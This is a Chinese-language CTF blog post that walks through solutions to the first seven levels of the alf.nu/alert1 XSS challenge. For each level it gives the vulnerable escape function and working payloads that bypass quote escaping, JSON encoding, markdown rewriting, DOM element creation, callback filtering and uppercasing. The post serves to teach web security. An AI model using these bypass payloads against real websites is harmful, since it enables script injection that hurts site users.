iT邦幫忙

2021 iThome 鐵人賽

DAY 23
0

Q1. XSS Lab(2)-1

  • 建議也可以看 XSS Lab(1) 文章,alert() 與 prompt() 有異曲同工之妙
  • 題目:https://alf.nu/alert1
  1. Warmup : 沒有任何過濾
    • 題目:

      function escape(s) {
        return '<script>console.log("'+s+'");</script>';
      }
      
    • ANS:直接閉合前方的 "( 即可

      • ");alert(1);</script>
      • ");alert(1)//
  2. Adobe:將 " 替換成 \"
    • 題目:

      function escape(s) {
        s = s.replace(/"/g, '\\"');
        return '<script>console.log("' + s + '");</script>';
      }
      
    • ANS: \" 會解讀為字元 " 而不是 JavaScript 語法,就無法閉合前面的 " ,但 \\ 在字串中會被解讀為 \ 字元,因此構建出 \\" ,會得到 \\ 字元,加上 " 閉合字串。

      • \");alert(1);</script>
      • \");alert(1);//
      • </script><script>alert(1)//
  3. JSON:JSON.stringify 會對將 " 與 \ 使用跳脫符號,但不會對 '/<>進行處理
    • 題目:

      function escape(s) {
        s = JSON.stringify(s);
        return '<script>console.log(' + s + ');</script>';
      }
      
    • ANS:直接用 將前面的 script 閉合,後面再額外開一個 script 跑 alert

      • </script><script>alert(1)//
  4. Markdown:< 被替換成 &lt;" 被替換成 &quot;http://N個任意字元(網址) 被替換成 <a href=網址>網址</a>,把[[圖片名稱|圖片敘述]] 替換成 <img alt="圖片敘述" src="圖片名稱">
    • 題目:

      function escape(s) {
        var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
        // URLs
        text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
        // [[img123|Description]]
        text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
        return text;
      }
      
      • 此題不能使用 firefox,可以使用 chrome 解題
    • ANS: [[a|http://onerror=alert(1)//]]

  5. DOM:
    • 題目:

      function escape(s) {
        // Slightly too lazy to make two input fields.
        // Pass in something like "TextNode#foo"
        var m = s.split(/#/);
      
        // Only slightly contrived at this point.
        var a = document.createElement('div');
        a.appendChild(document['create'+m[0]].apply(document, m.slice(1)));
        return a.innerHTML;
      }
      
    • ANS:利用 document.createComment 建立 HTML 註解,並在內容裏輸入 > 閉合註解

      • Comment#-><script>alert(1)</script>//
  6. Callback:
    • 題目:

      function escape(s) {
        // Pass inn "callback#userdata"
        var thing = s.split(/#/); 
      
        if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
        var obj = {'userdata': thing[1] };
        var json = JSON.stringify(obj).replace(/</g, '\\u003c');
        return "<script>" + thing[0] + "(" + json +")</script>";
      }
      
    • 使用 split(/#/) 作為分割 # 左邊的字串為 thing[0],#右邊的字串為 thing[1] (當然,若寫很多#,可以有 thing[2]、thing[3]....,但是此題後面並無使用 thing[0] 與 thing[1] 以外的資料

    • thing[0] 的非 a-zA-Z'[] 以外的字元,都回傳 Invalid callback

    • obj 變數為 {'userdata': thing[1] }

    • 判斷 obj 先經過JSON.stringify,再判斷是否有 < ,若有則全部轉換成 \u003c,然後儲存於 json 變數內

    • 最後回傳 "<script>" + thing[0] + "(" + json +")</script>"

    • 我們可以根據上述規則,將一些規則整理一下,主要將 input 分為兩部分 thing[0] # thing[1]

      • thing[0] 只能是 a-zA-Z'[] 的字
      • {'userdata': thing[1] } 若出現 "\ 使用跳脫符號,且會將 < 全部變成 \u003c
      • <script>" + thing[0] + "(" + thing[1]+")</script>

      https://ithelp.ithome.com.tw/upload/images/20211007/201405921W2gJhjeBn.png

    • ANS:

      • '#';alert(1)//
  7. Skandia:
    • 題目:

      function escape(s) {
        return '<script>console.log("' + s.toUpperCase() + '")</script>';
      }
      
    • ANS:

      • 利用網頁 html 寬鬆、不嚴謹的特性,除了之前說的不一定需要閉合外,標籤大小寫不敏感的特性
        • e.g. <script> </SCRIPT> ⇒ 合法
      • "></script><img src=1 onerror=&#97;&#108;&#101;&#114;&#116;(1)>//

上一篇
【第二十二天 - XSS Lab】
下一篇
【第二十四天 - XSS Lab(2)-2】
系列文
【CTF衝衝衝 - Web篇】30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言